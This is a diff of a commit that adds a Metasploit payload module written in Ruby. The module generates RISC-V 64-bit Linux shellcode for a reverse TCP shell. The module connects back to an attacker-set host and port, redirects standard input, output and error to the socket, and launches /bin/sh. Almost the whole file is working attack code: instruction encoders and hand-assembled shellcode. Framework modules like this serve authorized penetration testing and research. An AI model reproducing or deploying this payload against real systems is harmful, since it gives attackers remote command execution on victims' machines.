|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +module MetasploitModule |
| 7 | + CachedSize = 140 |
| 8 | + |
| 9 | + include Msf::Payload::Single |
| 10 | + include Msf::Payload::Linux |
| 11 | + include Msf::Sessions::CommandShellOptions |
| 12 | + |
| 13 | + SYS_SOCKET = 198 |
| 14 | + SYS_CONNECT = 203 |
| 15 | + SYS_DUP3 = 24 |
| 16 | + SYS_EXECVE = 221 |
| 17 | + AF_INET = 2 |
| 18 | + SOCK_STREAM = 1 |
| 19 | + IPPROTO_IP = 0 |
| 20 | + |
| 21 | + def initialize(info = {}) |
| 22 | + super( |
| 23 | + merge_info( |
| 24 | + info, |
| 25 | + 'Name' => 'Linux Command Shell, Reverse TCP Inline', |
| 26 | + 'Description' => 'Connect back to attacker and spawn a command shell.', |
| 27 | + 'Author' => [ |
| 28 | + 'modexp', # connect.s RISC-V 64-bit shellcode |
| 29 | + 'bcoles', # metasploit |
| 30 | + ], |
| 31 | + 'License' => BSD_LICENSE, |
| 32 | + 'Platform' => 'linux', |
| 33 | + 'Arch' => [ ARCH_RISCV64LE ], |
| 34 | + 'References' => [ |
| 35 | + ['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'], |
| 36 | + ['URL', 'https://web.archive.org/web/20230326161514/https://github.com/odzhan/shellcode/commit/d3ee25a6ebcdd21a21d0e6eccc979e45c24a9a1d'], |
| 37 | + ], |
| 38 | + 'Handler' => Msf::Handler::ReverseTcp, |
| 39 | + 'Session' => Msf::Sessions::CommandShellUnix |
| 40 | + ) |
| 41 | + ) |
| 42 | + end |
| 43 | + |
| 44 | + # Encode a RISC-V ADDI (Add Immediate) instruction |
| 45 | + def encode_addi(rd, rs1, imm12) |
| 46 | + opcode = 0b0010011 |
| 47 | + funct3 = 0b000 |
| 48 | + imm = imm12 & 0xfff |
| 49 | + (imm << 20) | (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode |
| 50 | + end |
| 51 | + |
| 52 | + # Encode a RISC-V LUI (Load Upper Immediate) instruction |
| 53 | + def encode_lui(rd, imm20) |
| 54 | + 0b0110111 | ((imm20 & 0xfffff) << 12) | (rd << 7) |
| 55 | + end |
| 56 | + |
| 57 | + # Encode a RISC-V SLLI (Shift Left Logical Immediate) instruction |
| 58 | + def encode_slli(rd, rs1, shamt) |
| 59 | + opcode = 0b0010011 |
| 60 | + funct3 = 0b001 |
| 61 | + funct6 = 0b000000 |
| 62 | + ((funct6 & 0x3f) << 26) | ((shamt & 0x3f) << 20) | |
| 63 | + (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode |
| 64 | + end |
| 65 | + |
| 66 | + # Encode a RISC-V OR instruction (rd = rs1 OR rs2). |
| 67 | + def encode_or(rd, rs1, rs2) |
| 68 | + opcode = 0b0110011 |
| 69 | + funct3 = 0b110 |
| 70 | + funct7 = 0b0000000 |
| 71 | + (funct7 << 25) | (rs2 << 20) | (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode |
| 72 | + end |
| 73 | + |
| 74 | + # Emit RISC-V instruction words that build an arbitrary 64-bit constant in a chosen register using SLLI+LUI+ADDI |
| 75 | + # Note: modifies x6 register |
| 76 | + def load_const_into_reg64(const, rd) |
| 77 | + raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer) |
| 78 | + |
| 79 | + max_const = (1 << 64) - 1 |
| 80 | + |
| 81 | + raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const) |
| 82 | + |
| 83 | + # Split into 32‑bit halves |
| 84 | + hi = const >> 32 |
| 85 | + lo = const & 0xFFFF_FFFF |
| 86 | + |
| 87 | + # Load high half |
| 88 | + [ |
| 89 | + *load_const_into_reg32(hi, rd), |
| 90 | + *encode_slli(rd, rd, 32), |
| 91 | + *load_const_into_reg32(lo, 6), |
| 92 | + *encode_or(rd, rd, 6), |
| 93 | + ] |
| 94 | + end |
| 95 | + |
| 96 | + # Emit RISC-V instruction words that build an arbitrary 32-bit constant in a chosen register using LUI+ADDI. |
| 97 | + def load_const_into_reg32(const, rd) |
| 98 | + raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer) |
| 99 | + |
| 100 | + max_const = 0xFFFF_FFFF |
| 101 | + |
| 102 | + raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const) |
| 103 | + |
| 104 | + if const >= -2048 && const <= 2047 |
| 105 | + return [encode_addi(rd, 0, const)] |
| 106 | + end |
| 107 | + |
| 108 | + upper = (const + 0x800) >> 12 |
| 109 | + low = const & 0xfff |
| 110 | + [ |
| 111 | + encode_lui(rd, upper), |
| 112 | + encode_addi(rd, rd, low) |
| 113 | + ] |
| 114 | + end |
| 115 | + |
| 116 | + def generate(_opts = {}) |
| 117 | + lhost = datastore['LHOST'] || '127.127.127.127' |
| 118 | + lport = datastore['LPORT'].to_i |
| 119 | + |
| 120 | + raise ArgumentError, 'LHOST must be in IPv4 format.' unless Rex::Socket.is_ipv4?(lhost) |
| 121 | + |
| 122 | + encoded_host = Rex::Socket.addr_aton(lhost).unpack1('V') |
| 123 | + encoded_port = [lport].pack('n').unpack1('v') |
| 124 | + encoded_sockaddr = (encoded_host << 32) | (encoded_port << 16) | 2 |
| 125 | + |
| 126 | + shellcode = [ |
| 127 | + # prepare stack |
| 128 | + 0xff010113, # addi sp,sp,-16 |
| 129 | + |
| 130 | + # s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); |
| 131 | + *load_const_into_reg32(SYS_SOCKET, 17), # li a7,198 # SYS_socket |
| 132 | + *load_const_into_reg32(IPPROTO_IP, 12), # li a2,0 # IPPROTO_IP |
| 133 | + *load_const_into_reg32(SOCK_STREAM, 11), # li a1,1 # SOCK_STREAM |
| 134 | + *load_const_into_reg32(AF_INET, 10), # li a0,2 # AF_INET |
| 135 | + 0x00000073, # ecall |
| 136 | + |
| 137 | + # connect(s, &sa, sizeof(sa)); |
| 138 | + 0x00050693, # mv a3,a0 # a3 = s |
| 139 | + *load_const_into_reg32(SYS_CONNECT, 17), # li a7,203 # SYS_connect |
| 140 | + *load_const_into_reg32(16, 12), # li a2,16 # sizeof(sockaddr_in) |
| 141 | + *load_const_into_reg64(encoded_sockaddr, 11), |
| 142 | + 0x00b13023, # sd a1,0(sp) |
| 143 | + 0x00010593, # mv a1,sp # a1 = &sa |
| 144 | + 0x00000073, # ecall |
| 145 | + |
| 146 | + # dup stdin/stdout/stderr |
| 147 | + *load_const_into_reg32(SYS_DUP3, 17), # li a7,24 # SYS_dup3 |
| 148 | + *load_const_into_reg32(3, 11), # li a1,3 # start from STDERR_FILENO + 1 = 3 |
| 149 | + # c_dup: |
| 150 | + *load_const_into_reg32(0, 12), # li a2,0 |
| 151 | + 0x00068513, # mv a0,a3 |
| 152 | + 0xfff58593, # addi a1,a1,-1 |
| 153 | + 0x00000073, # ecall |
| 154 | + 0xfe0598e3, # bnez a1,100c8 <c_dup> |
| 155 | + |
| 156 | + # execve("/bin/sh", NULL, NULL); |
| 157 | + *load_const_into_reg32(SYS_EXECVE, 17), # SYS_execve |
| 158 | + 0x34399537, # lui a0,0x34399 |
| 159 | + 0x7b75051b, # addiw a0,a0,1975 |
| 160 | + 0x00c51513, # slli a0,a0,0xc |
| 161 | + 0x34b50513, # addi a0,a0,843 |
| 162 | + 0x00d51513, # slli a0,a0,0xd |
| 163 | + 0x22f50513, # addi a0,a0,559 |
| 164 | + 0x00a13023, # sd a0,0(sp) |
| 165 | + 0x00010513, # mv a0,sp |
| 166 | + 0x00000073 # ecall |
| 167 | + ].pack('V*') |
| 168 | + |
| 169 | + # align our shellcode to 4 bytes |
| 170 | + shellcode += "\x00" while shellcode.bytesize % 4 != 0 |
| 171 | + |
| 172 | + super.to_s + shellcode |
| 173 | + end |
| 174 | +end |
0 commit comments